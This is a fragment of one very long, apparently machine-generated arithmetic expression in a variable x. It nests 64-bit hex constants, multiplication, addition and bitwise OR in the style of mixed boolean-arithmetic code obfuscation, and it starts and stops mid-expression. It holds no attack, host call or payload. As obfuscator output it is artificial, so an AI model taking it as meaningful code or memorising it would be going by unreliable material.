)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab